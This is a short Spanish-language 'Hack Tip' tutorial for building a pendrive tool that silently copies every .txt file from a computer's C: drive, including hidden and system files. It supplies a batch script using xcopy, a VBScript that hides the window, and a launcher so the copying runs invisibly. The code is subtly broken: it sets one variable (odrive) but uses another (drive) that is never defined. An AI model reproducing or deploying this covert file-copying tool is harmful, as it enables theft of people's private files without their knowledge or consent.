

Hack Tip

BatchScript extractor de archivos



Creacion del Script

Como primera medida debemos abrir un editor de texto como Leafpad o Nano, en el escribiremos el siguiente código:

```
@echo off
:: variables
SET odrive=%drive:~0,2%
SET backupcmd=xcopy /c /d /h /s /e /i /r /y
echo off
%backupcmd% "C:\*.txt" "%drive%\extracción"
@echo off
cls
```

La tercera línea nos determina la unidad que estemos usando para ejecutar el script.

El comando SET muestra, setea, o remueve las variables de entorno de CMD. Los cambios hechos con SET permanecerán solo por la duración de la sesión de CMD.



La cuarta línea establece en backupcmd el comando xcopy y sus parámetros para realizar la operación. Ellos son:

- /C Continúa copiando incluso si ocurren errores.
- /D:m-d-a Copia archivos cambiados durante o después de la fecha.
- /H Copia archivos ocultos y también archivos del sistema.
- /S Copia directorios y subdirectorios, excepto los vacíos.
- /E Copia directorios y subdirectorios, incluidos los vacíos.
- /I Si el destino no existe y se está copiando más de un archivo, se da por supuesto que el destino debe ser un directorio.
- /R Sobrescribe archivos de solo lectura.
- /Y Suprime la petición de confirmación de sobrescritura de un archivo de destino existente.

Y la sexta línea ejecuta los comandos para iniciar la operación. Lo guardamos como “extractor.bat”. Lo que necesitamos ahora es que el proceso ocurra de manera invisible, para ellos usaremos dos scripts mas.



Para ellos realizaremos el mismo proceso de escribir en un bloc de notas el siguiente código:

```
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """" ,  
0, False
```

Y lo guardaremos como “invisible.vbs”. Por ultimo debemos llamar a ejecución primero a invisible.vbs y luego a nuestro primer script, extractor.bat, creando un tercer script:

```
wscript.exe \invisible.vbs extractor.bat
```

Ahora al ejecutarlo, desde el pendrive, realizara el copiado de archivos de manera oculta.

